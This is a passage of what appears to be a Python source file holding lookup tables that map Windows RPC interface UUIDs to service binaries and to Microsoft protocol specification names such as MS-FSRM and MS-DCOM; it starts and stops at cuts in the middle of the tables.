b"\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll", b"\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll", b"\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll", b"\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe", b"\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll", b"\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll", b"\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll", b"\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe", b"\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll", b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll", b"\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll", b"\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe", b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe", b"\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe", b"\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll", b"\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll", b"\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll", b"\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll", b"\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll", b"\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll", b"\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe", b"\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll", b"\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE", b"\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll", b"\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe", } KNOWN_PROTOCOLS = { '52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:', 'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', '12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', '2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', '39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', '33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', 'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', '0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', '070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', '3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol', 'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-', '6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary', 'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol', 'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:', '97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol', '0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', '23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', '4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', 'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol', '7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol', 'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:', '11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:', '491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:', 'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:', 'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:', '4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:', 'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:', 'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:', '04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:', '2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:', '12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:', '85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:', 'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:', '3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:', '88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:', '00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):', '9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol', 'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol', 'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol', '4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol', 'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol', '7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol', '20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol', 'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol', '6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', '5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', '4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:', '300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:', 'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', 'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', '3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol', 'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', '4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol', '135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management', '7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', '3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol', '14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure', 'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol', '82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol', '6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol', '6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol', 'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol', '897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol', '377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol', 'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol', '4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol', 'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol', '8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol', '4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol', 'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol', '1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol', '6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol', '39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol', '326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol', '27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol', 'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol', '8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol', '96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol', 'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol', 'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol', '15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol', '12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol', 'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol', 'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol', '4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol', '6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol', 'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol', '38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol', 'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol', '9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol', '4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol', 'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol', 'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol', 'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol', '22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol', '6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol', '5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol', '8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol', 'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol', '0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol', 'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol', '515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol', 'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol', '47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol', '205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol', '1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol', '42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol', '426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol', 'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol', 'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol', 'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol', '2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource 